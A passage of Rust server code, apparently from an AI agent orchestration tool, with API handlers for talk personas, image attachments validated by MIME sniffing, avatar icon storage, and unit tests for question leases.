9284 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9285 }
9286 refuse_if_closed(&ui.talks.get(&id)?)
9287 })
9288 .await?;
9289 }
9290 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9291 return Err(ApiError::conflict(
9292 "a talk turn is running; change the persona once it has answered",
9293 ));
9294 };
9295 let switched = {
9296 let ui = Arc::clone(&ui);
9297 let id = id.clone();
9298 let cfg = cfg.clone();
9299 blocking(move || {
9300 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9301 return Err(ApiError::bad_request(format!(
9302 "unknown persona `{}`",
9303 body.persona
9304 )));
9305 };
9306 let mut talk = ui.talks.get(&id)?;
9307 if !talk.status.open() {
9308 return Err(ApiError::conflict(format!(
9309 "talk {} is {} and takes no more turns",
9310 talk.short(),
9311 talk.status.as_str()
9312 )));
9313 }
9314 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9315 Ok(talk)
9316 })
9317 .await
9318 };
9319 let observed = ui.queued_generation(&id);
9321 let fresh = {
9322 let ui = Arc::clone(&ui);
9323 let id = id.clone();
9324 blocking(move || Ok(ui.talks.get(&id)?)).await
9325 };
9326 let draining = match fresh {
9327 Ok(talk) => {
9328 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9329 }
9330 Err(_) => false,
9331 };
9332 let talk = switched?;
9333 Ok(Json(TalkView::new(talk, draining, &ui)))
9334}
9335
9336#[derive(Debug, Deserialize)]
9338struct TalkImplementers {
9339 implementers: u8,
9340}
9341
9342async fn talk_implementers(
9346 State(ui): State<Arc<Ui>>,
9347 Path(id): Path<String>,
9348 Json(body): Json<TalkImplementers>,
9349) -> ApiResult<Json<TalkView>> {
9350 let id = {
9351 let ui = Arc::clone(&ui);
9352 blocking(move || resolve_talk(&ui.talks, &id)).await?
9353 };
9354 let repo = {
9355 let ui = Arc::clone(&ui);
9356 let id = id.clone();
9357 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9358 };
9359 let cfg = config_for(&repo).await?;
9360 {
9365 let ui = Arc::clone(&ui);
9366 let id = id.clone();
9367 let cfg = cfg.clone();
9368 let wanted = body.implementers;
9369 blocking(move || {
9370 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9371 refuse_if_closed(&ui.talks.get(&id)?)
9372 })
9373 .await?;
9374 }
9375 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9376 return Err(ApiError::conflict(
9377 "a talk turn is running; change the implementers once it has answered",
9378 ));
9379 };
9380 let switched = {
9381 let ui = Arc::clone(&ui);
9382 let id = id.clone();
9383 let cfg = cfg.clone();
9384 blocking(move || {
9385 let chosen =
9386 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
9387 let mut talk = ui.talks.get(&id)?;
9388 if !talk.status.open() {
9389 return Err(ApiError::conflict(format!(
9390 "talk {} is {} and takes no more turns",
9391 talk.short(),
9392 talk.status.as_str()
9393 )));
9394 }
9395 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9396 Ok(talk)
9397 })
9398 .await
9399 };
9400 let observed = ui.queued_generation(&id);
9402 let fresh = {
9403 let ui = Arc::clone(&ui);
9404 let id = id.clone();
9405 blocking(move || Ok(ui.talks.get(&id)?)).await
9406 };
9407 let draining = match fresh {
9408 Ok(talk) => {
9409 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9410 }
9411 Err(_) => false,
9412 };
9413 let talk = switched?;
9414 Ok(Json(TalkView::new(talk, draining, &ui)))
9415}
9416
9417async fn talk_close(
9419 State(ui): State<Arc<Ui>>,
9420 Path(id): Path<String>,
9421) -> ApiResult<Json<TalkView>> {
9422 blocking(move || {
9423 let id = resolve_talk(&ui.talks, &id)?;
9424 let mut talk = ui.talks.get(&id)?;
9425 talk::close(&mut talk, &ui.talks)?;
9426 let thinking = ui.is_thinking(&talk.id);
9427 Ok(Json(TalkView::new(talk, thinking, &ui)))
9428 })
9429 .await
9430}
9431
9432async fn talk_reopen(
9434 State(ui): State<Arc<Ui>>,
9435 Path(id): Path<String>,
9436) -> ApiResult<Json<TalkView>> {
9437 blocking(move || {
9438 let id = resolve_talk(&ui.talks, &id)?;
9439 let mut talk = ui.talks.get(&id)?;
9440 talk::reopen(&mut talk, &ui.talks)?;
9441 let thinking = ui.is_thinking(&talk.id);
9442 Ok(Json(TalkView::new(talk, thinking, &ui)))
9443 })
9444 .await
9445}
9446
9447async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9457 blocking(move || {
9458 let id = resolve_talk(&ui.talks, &id)?;
9459 ui.talks.remove(&id)?;
9460 Ok(StatusCode::NO_CONTENT)
9461 })
9462 .await
9463}
9464
9465fn talk_ids(root: &FsPath) -> Vec<String> {
9466 std::fs::read_dir(root)
9467 .into_iter()
9468 .flatten()
9469 .flatten()
9470 .filter_map(|e| {
9471 let path = e.path();
9472 if path.extension().is_some_and(|ext| ext == "json") {
9473 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9474 } else {
9475 None
9476 }
9477 })
9478 .collect()
9479}
9480
9481fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9483 if plain_record_id(id) && store.path_of(id).is_file() {
9484 return Ok(id.to_owned());
9485 }
9486 pick(talk_ids(store.root()), id, "talk")
9487}
9488
9489async fn talk_attachment_post(
9492 State(ui): State<Arc<Ui>>,
9493 Path(id): Path<String>,
9494 headers: HeaderMap,
9495 body: Bytes,
9496) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9497 let mime = validate_attachment(&headers, &body)?;
9498 let name = filename_header(&headers);
9499 let data = body.to_vec();
9500 blocking(move || {
9501 let id = resolve_talk(&ui.talks, &id)?;
9502 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9503 Ok((StatusCode::CREATED, Json(att)))
9504 })
9505 .await
9506}
9507
9508async fn talk_attachment_get(
9511 State(ui): State<Arc<Ui>>,
9512 Path((id, att)): Path<(String, String)>,
9513) -> ApiResult<Response> {
9514 blocking(move || {
9515 let id = resolve_talk(&ui.talks, &id)?;
9516 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9517 return Err(ApiError::not_found(format!(
9518 "talk {id} has no attachment `{att}`"
9519 )));
9520 };
9521 Ok(attachment_response(&meta.mime, data))
9522 })
9523 .await
9524}
9525
9526fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9529 let id = avatar_encode(&p.id);
9530 format!(
9531 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9532 persona_icon::fingerprint(
9533 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9534 )
9535 )
9536}
9537
9538#[derive(Debug, Default, Deserialize)]
9539struct AvatarQuery {
9540 persona: Option<String>,
9541 builtin: Option<String>,
9543}
9544
9545const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9547
9548fn builtin_avatar(id: &str) -> Response {
9549 svg_avatar(persona_icon::builtin_svg(id))
9550}
9551
9552async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9553 raster_or_builtin(
9554 read_icon_file(&avatar_setting_path(&ui.home, None))
9555 .filter(|_| q.builtin.is_none())
9556 .as_deref(),
9557 persona_icon::operator_svg(),
9558 )
9559}
9560
9561fn svg_avatar(svg: &'static str) -> Response {
9562 (
9563 [
9564 (header::CONTENT_TYPE, "image/svg+xml"),
9565 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9566 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9567 (header::CACHE_CONTROL, "no-cache"),
9568 ],
9569 svg,
9570 )
9571 .into_response()
9572}
9573
9574fn avatar_encode(value: &str) -> String {
9575 value
9576 .bytes()
9577 .map(|b| {
9578 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9579 char::from(b).to_string()
9580 } else {
9581 format!("%{b:02X}")
9582 }
9583 })
9584 .collect()
9585}
9586
9587fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9589 let Some(id) = persona else {
9590 return home.join("avatars/operator.data");
9591 };
9592 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9593 let mut path = home.join("avatars/personas");
9594 for chunk in encoded.as_bytes().chunks(100) {
9595 path.push(std::str::from_utf8(chunk).expect("hex"));
9596 }
9597 path.join("icon.data")
9598}
9599
9600fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9601 match read_icon_file(&avatar_setting_path(home, Some(id))) {
9602 Some(value) if value == "builtin" => Some(String::new()),
9603 Some(value) => Some(value),
9604 None => configured.map(str::to_owned),
9605 }
9606}
9607
9608fn operator_icon_url(home: &FsPath) -> String {
9609 format!(
9610 "/avatars/operator.svg?v={}",
9611 persona_icon::fingerprint(
9612 read_icon_file(&avatar_setting_path(home, None))
9613 .as_deref()
9614 .or(Some(persona_icon::operator_svg()))
9615 )
9616 )
9617}
9618
9619fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9620 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9621 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9622 attachment_response(mime, bytes)
9623 }
9624 _ => svg_avatar(builtin),
9625 };
9626 response
9627 .headers_mut()
9628 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9629 response
9630}
9631
9632#[derive(Default, Deserialize)]
9633struct AvatarSettingsQuery {
9634 repo: Option<PathBuf>,
9635 persona: Option<String>,
9636 builtin: Option<String>,
9637 inherit: Option<String>,
9638}
9639
9640fn avatar_settings_specs(
9641 ui: &Ui,
9642 repo: Option<PathBuf>,
9643) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9644 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9645 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9646 .map(|cfg| cfg.talk.personas)
9647 .unwrap_or_default();
9648 Ok((repo, specs))
9649}
9650
9651fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9652 let Ok(entries) = std::fs::read_dir(path) else {
9653 return;
9654 };
9655 for entry in entries.flatten() {
9656 let name = entry.file_name().to_string_lossy().into_owned();
9657 if name == "icon.data" {
9658 let bytes: Option<Vec<u8>> = prefix
9659 .as_bytes()
9660 .chunks(2)
9661 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9662 .collect();
9663 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9664 out.push(id);
9665 }
9666 } else if name.len() <= 100
9667 && !name.is_empty()
9668 && name.bytes().all(|b| b.is_ascii_hexdigit())
9669 && entry.file_type().is_ok_and(|t| t.is_dir())
9670 {
9671 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9672 }
9673 }
9674}
9675
9676async fn avatar_settings_get(
9677 State(ui): State<Arc<Ui>>,
9678 Query(q): Query<AvatarSettingsQuery>,
9679) -> ApiResult<Json<serde_json::Value>> {
9680 blocking(move || {
9681 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9682 let mut catalog = persona::catalog(&specs);
9683 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9684 let mut saved = Vec::new();
9685 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9686 for id in saved {
9687 if !catalog.iter().any(|p| p.id == id) {
9688 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9689 }
9690 }
9691 let personas: Vec<_> = catalog.iter().map(|p| {
9692 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9693 let override_state = match saved.as_deref() {
9694 Some("builtin") => "builtin",
9695 Some(_) => "custom",
9696 None => "inherit",
9697 };
9698 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9699 serde_json::json!({"id":p.id,"name":p.name,
9700 "override_state":override_state,"has_config_icon":p.icon.is_some(),
9701 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9702 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9703 }).collect();
9704 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9705 }).await
9706}
9707
9708async fn settings_persona_avatar(
9709 State(ui): State<Arc<Ui>>,
9710 Query(q): Query<AvatarSettingsQuery>,
9711) -> ApiResult<Response> {
9712 blocking(move || {
9713 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9714 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9715 let found = persona::find(&specs, id);
9716 let icon =
9717 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9718 Ok(raster_or_builtin(
9719 icon.as_deref().filter(|_| q.builtin.is_none()),
9720 persona_icon::builtin_svg(id),
9721 ))
9722 })
9723 .await
9724}
9725
9726fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9727 if q.persona
9728 .as_ref()
9729 .is_some_and(|p| p.is_empty() || p.len() > 4096)
9730 {
9731 return Err(ApiError::bad_request("invalid persona id"));
9732 }
9733 Ok(())
9734}
9735
9736async fn avatar_settings_put(
9737 State(ui): State<Arc<Ui>>,
9738 Query(q): Query<AvatarSettingsQuery>,
9739 Json(upload): Json<MagiIconUpload>,
9740) -> ApiResult<Json<serde_json::Value>> {
9741 blocking(move || {
9742 validate_avatar_target(&q)?;
9743 save_icon_file(
9744 &avatar_setting_path(&ui.home, q.persona.as_deref()),
9745 &upload.icon,
9746 )
9747 .map_err(ApiError::bad_request_from)?;
9748 Ok(Json(serde_json::json!({"saved":true})))
9749 })
9750 .await
9751}
9752
9753async fn avatar_settings_delete(
9754 State(ui): State<Arc<Ui>>,
9755 Query(q): Query<AvatarSettingsQuery>,
9756) -> ApiResult<Json<serde_json::Value>> {
9757 blocking(move || {
9758 validate_avatar_target(&q)?;
9759 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9760 if q.persona.is_some() && q.inherit.is_none() {
9761 atomic_icon_write(&path, "builtin")?;
9762 } else {
9763 match std::fs::remove_file(path) {
9764 Ok(()) => (),
9765 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9766 Err(e) => return Err(anyhow::Error::from(e).into()),
9767 }
9768 }
9769 Ok(Json(serde_json::json!({"saved":true})))
9770 })
9771 .await
9772}
9773
9774fn magi_icon_path(home: &FsPath) -> PathBuf {
9776 home.join("magi-icon.data")
9777}
9778
9779fn read_magi_icon(home: &FsPath) -> Option<String> {
9780 read_icon_file(&magi_icon_path(home))
9781}
9782
9783fn read_icon_file(path: &FsPath) -> Option<String> {
9784 let metadata = std::fs::metadata(path).ok()?;
9785 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9786 return None;
9787 }
9788 let file = std::fs::File::open(path).ok()?;
9789 use std::io::Read;
9790 let mut text = String::new();
9791 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9792 .read_to_string(&mut text)
9793 .ok()?;
9794 if text.len() > persona_icon::ICON_MAX_BYTES {
9795 return None;
9796 }
9797 if text == "builtin" {
9798 return Some(text);
9799 }
9800 validate_uploaded_icon(&text).ok()?;
9801 Some(text)
9802}
9803
9804fn magi_icon_url(home: &FsPath) -> String {
9805 format!(
9806 "/avatars/magi?v={}",
9807 persona_icon::fingerprint(read_magi_icon(home).as_deref())
9808 )
9809}
9810
9811async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9812 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9813}
9814
9815#[derive(Deserialize)]
9816struct MagiIconUpload {
9817 icon: String,
9818}
9819
9820fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9821 save_icon_file(&magi_icon_path(home), icon)
9822}
9823
9824fn validate_uploaded_icon(icon: &str) -> Result<()> {
9825 if !icon.starts_with("data:") {
9826 anyhow::bail!("upload a raster image");
9827 }
9828 let (mime, bytes) = persona_icon::load(icon)?;
9829 if sniffed_mime(&bytes) != Some(mime) {
9830 anyhow::bail!("image content does not match its type");
9831 }
9832 Ok(())
9833}
9834
9835fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9836 validate_uploaded_icon(icon)?;
9837 atomic_icon_write(path, icon)
9838}
9839
9840fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9841 let home = path.parent().expect("icon parent");
9842 std::fs::create_dir_all(home)?;
9843 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9844 let temp = home.join(format!(".magi-icon-{token}.tmp"));
9845 let result = (|| -> Result<()> {
9846 use std::io::Write;
9847 let mut file = std::fs::OpenOptions::new()
9848 .write(true)
9849 .create_new(true)
9850 .open(&temp)?;
9851 file.write_all(icon.as_bytes())?;
9852 file.sync_all()?;
9853 std::fs::rename(&temp, path)?;
9854 Ok(())
9855 })();
9856 let _ = std::fs::remove_file(temp);
9857 result?;
9858 Ok(())
9859}
9860
9861async fn magi_icon_put(
9862 State(ui): State<Arc<Ui>>,
9863 Json(upload): Json<MagiIconUpload>,
9864) -> ApiResult<Json<serde_json::Value>> {
9865 blocking(move || {
9866 if !upload.icon.starts_with("data:") {
9867 return Err(ApiError::bad_request("upload a raster image"));
9868 }
9869 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9870 if sniffed_mime(&bytes) != Some(mime) {
9871 return Err(ApiError::bad_request(
9872 "image content does not match its type",
9873 ));
9874 }
9875 save_magi_icon(&ui.home, &upload.icon)?;
9876 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9877 })
9878 .await
9879}
9880
9881async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9882 blocking(move || {
9883 match std::fs::remove_file(magi_icon_path(&ui.home)) {
9884 Ok(()) => (),
9885 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9886 Err(e) => return Err(anyhow::Error::from(e).into()),
9887 }
9888 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9889 })
9890 .await
9891}
9892
9893async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9894 let icon = (q.builtin.is_none())
9895 .then(|| read_magi_icon(&ui.home))
9896 .flatten();
9897 let mut response = match icon
9898 .as_deref()
9899 .and_then(|icon| persona_icon::load(icon).ok())
9900 {
9901 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9902 attachment_response(mime, bytes)
9903 }
9904 _ => svg_avatar(persona_icon::magi_svg()),
9905 };
9906 response
9907 .headers_mut()
9908 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9909 response
9910}
9911
9912async fn talk_avatar(
9917 State(ui): State<Arc<Ui>>,
9918 Path(id): Path<String>,
9919 Query(q): Query<AvatarQuery>,
9920) -> ApiResult<Response> {
9921 blocking(move || {
9922 let id = resolve_talk(&ui.talks, &id)?;
9923 let talk = ui.talks.get(&id)?;
9924 let wanted = q
9925 .persona
9926 .as_deref()
9927 .map(str::trim)
9928 .filter(|p| !p.is_empty())
9929 .unwrap_or(&talk.persona)
9930 .to_owned();
9931 let specs = match Config::discover(&talk.repo, None) {
9932 Ok((cfg, _)) => cfg.talk.personas,
9933 Err(e) => {
9934 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9935 Vec::new()
9936 }
9937 };
9938 let found = persona::find(&specs, &wanted);
9939 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9941 let icon = effective_persona_icon(
9942 &ui.home,
9943 &wanted,
9944 found.as_ref().and_then(|p| p.icon.as_deref()),
9945 );
9946 if found.is_none() && icon.is_none() {
9947 return Ok(builtin_avatar(persona::DEFAULT_ID));
9948 }
9949 let Some(icon) = icon
9950 .as_deref()
9951 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9952 else {
9953 return Ok(builtin_avatar(&wanted));
9954 };
9955 let Some(found) = found else {
9956 return Ok(raster_or_builtin(
9957 Some(icon),
9958 persona_icon::builtin_svg(&wanted),
9959 ));
9960 };
9961 match persona_icon::load(icon) {
9962 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9963 let mut res = attachment_response(mime, bytes);
9964 res.headers_mut().insert(
9965 header::CACHE_CONTROL,
9966 header::HeaderValue::from_static("no-cache"),
9967 );
9968 Ok(res)
9969 }
9970 Ok((mime, _)) => {
9971 tracing::warn!(
9972 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9973 found.id
9974 );
9975 Ok(builtin_avatar(&found.id))
9976 }
9977 Err(e) => {
9978 tracing::warn!(
9979 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9980 found.id
9981 );
9982 Ok(builtin_avatar(&found.id))
9983 }
9984 }
9985 })
9986 .await
9987}
9988
9989fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10000 if data.len() > ATTACHMENT_MAX_BYTES {
10001 return Err(ApiError::bad_request(format!(
10002 "attachment is {} bytes, over the {} MiB limit",
10003 data.len(),
10004 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10005 ))
10006 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10007 }
10008 if data.is_empty() {
10009 return Err(ApiError::bad_request("attachment is empty"));
10010 }
10011 let declared = declared_mime(headers)?;
10012 match sniffed_mime(data) {
10013 Some(sniffed) if sniffed == declared => Ok(declared),
10014 Some(sniffed) => Err(ApiError::bad_request(format!(
10015 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10016 ))),
10017 None => Err(ApiError::bad_request(
10018 "the file's bytes do not match any accepted image format",
10019 )),
10020 }
10021}
10022
10023fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10027 let raw = headers
10028 .get(header::CONTENT_TYPE)
10029 .and_then(|v| v.to_str().ok())
10030 .unwrap_or("")
10031 .split(';')
10032 .next()
10033 .unwrap_or("")
10034 .trim()
10035 .to_ascii_lowercase();
10036 ATTACHMENT_MIME_WHITELIST
10037 .iter()
10038 .find(|&&m| m == raw)
10039 .copied()
10040 .ok_or_else(|| {
10041 if raw == "image/svg+xml" {
10042 ApiError::bad_request(
10043 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10044 not just a picture",
10045 )
10046 } else if raw.is_empty() {
10047 ApiError::bad_request("Content-Type is required for an attachment upload")
10048 } else {
10049 ApiError::bad_request(format!(
10050 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10051 image/gif or image/webp"
10052 ))
10053 }
10054 })
10055}
10056
10057fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10060 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10061 Some("image/png")
10062 } else if data.starts_with(b"\xff\xd8\xff") {
10063 Some("image/jpeg")
10064 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10065 Some("image/gif")
10066 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10067 Some("image/webp")
10068 } else {
10069 None
10070 }
10071}
10072
10073fn filename_header(headers: &HeaderMap) -> String {
10079 headers
10080 .get(FILENAME_HEADER)
10081 .and_then(|v| v.to_str().ok())
10082 .map(str::trim)
10083 .filter(|s| !s.is_empty())
10084 .unwrap_or("attachment")
10085 .to_owned()
10086}
10087
10088fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10095 let content_type = ATTACHMENT_MIME_WHITELIST
10096 .iter()
10097 .find(|&&m| m == mime)
10098 .copied()
10099 .unwrap_or("application/octet-stream");
10100 (
10101 [
10102 (header::CONTENT_TYPE, content_type),
10103 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10104 ],
10105 body,
10106 )
10107 .into_response()
10108}
10109
10110async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10118 let repo = repo.to_path_buf();
10119 blocking(move || {
10120 let (cfg, _) = Config::discover(&repo, None)?;
10121 Ok(cfg)
10122 })
10123 .await
10124}
10125
10126fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10132 let mut hits = ids
10133 .into_iter()
10134 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10135 match (hits.next(), hits.next()) {
10136 (Some(one), None) => Ok(one),
10137 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10138 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10139 "`{prefix}` matches more than one {what}, including {a} and {b}"
10140 ))),
10141 }
10142}
10143
10144#[cfg(test)]
10145mod tests {
10146
10147 #[test]
10148 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10149 let dir = tempfile::tempdir().unwrap();
10150 let store = ask::Questions::at(dir.path().join("questions"));
10151 let mut q = Question::new(
10152 "task".to_owned(),
10153 "conduct".to_owned(),
10154 "conduct".to_owned(),
10155 "choose".to_owned(),
10156 String::new(),
10157 vec!["keep".to_owned()],
10158 );
10159 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10160 q.say("why?").unwrap();
10161 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10162 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10163 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10164 store.put(&mut q).unwrap();
10165 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10166 assert_eq!(store.count_needs_owner(), 1);
10167 store.beat(&q.id, ask::WaiterKind::Deputy);
10168 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10169 assert_eq!(store.count_needs_owner(), 0);
10170 let mut stale = store.read_lease(&q.id).unwrap();
10171 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10172 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10173 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10174 assert!(view.deputy_exhausted);
10175 assert!(view.waiting_on_agent);
10176 assert_eq!(view.question.choices, ["keep"]);
10177 store.drop_lease(&q.id);
10178 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10179 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10180 }
10181
10182 #[test]
10183 fn holder_reads_the_lease_not_the_record() {
10184 let mut q = Question::new(
10185 "run".to_owned(),
10186 "implement".to_owned(),
10187 "impl-A".to_owned(),
10188 "which?".to_owned(),
10189 String::new(),
10190 Vec::new(),
10191 );
10192 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10193 q.cwd = Some("/tmp".to_owned());
10194 assert_eq!(holder_of(&q, None), Some("nobody"));
10195 let beat = |kind, ago: i64| ask::Lease {
10196 kind,
10197 pid: 1,
10198 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10199 .unwrap(),
10200 };
10201 let fresh = beat(ask::WaiterKind::Asker, 1);
10202 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10203 let daemon = beat(ask::WaiterKind::Daemon, 1);
10204 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10205 let stale = beat(ask::WaiterKind::Asker, 3600);
10206 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10207
10208 let mut c = Question::new(
10211 "task".to_owned(),
10212 crate::conduct::NODE.to_owned(),
10213 "conduct".to_owned(),
10214 "which?".to_owned(),
10215 String::new(),
10216 Vec::new(),
10217 );
10218 assert_eq!(holder_of(&c, None), Some("nobody"));
10219 c.cwd = Some("/tmp".to_owned());
10220 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10221 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10222 let deputy = beat(ask::WaiterKind::Deputy, 1);
10223 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10224 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10225
10226 let mut r = Question::new(
10228 String::new(),
10229 crate::bump::NOTICE_NODE.to_owned(),
10230 "release-watch".to_owned(),
10231 "stuck?".to_owned(),
10232 String::new(),
10233 vec!["hold".to_owned()],
10234 );
10235 assert_eq!(holder_of(&r, None), Some("nobody"));
10236 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10237 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10238 r.deputy = None;
10240 r.seat = "bump".to_owned();
10241 assert_eq!(holder_of(&r, None), None);
10242
10243 let mut m = Question::new(
10246 "run".to_owned(),
10247 crate::land::APPROVAL_NODE.to_owned(),
10248 "land".to_owned(),
10249 "merge?".to_owned(),
10250 String::new(),
10251 Vec::new(),
10252 );
10253 assert_eq!(holder_of(&m, None), Some("nobody"));
10254 assert_eq!(
10255 holder_of(&m, Some(&fresh)),
10256 Some("asker"),
10257 "a live explicit wait is a listener even before a deputy is attached"
10258 );
10259 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10260 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10261 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10262 assert_eq!(holder_of(&m, None), Some("nobody"));
10263 }
10264
10265 fn stub_config() -> Config {
10266 Config {
10269 agents: vec![crate::config::AgentSpec {
10270 id: "stub".to_owned(),
10271 kind: AgentKind::Command,
10272 model: None,
10273 command: vec!["true".to_owned()],
10274 extra_args: Vec::new(),
10275 env: Default::default(),
10276 prompt_delivery: None,
10277 max_turn_secs: None,
10278 }],
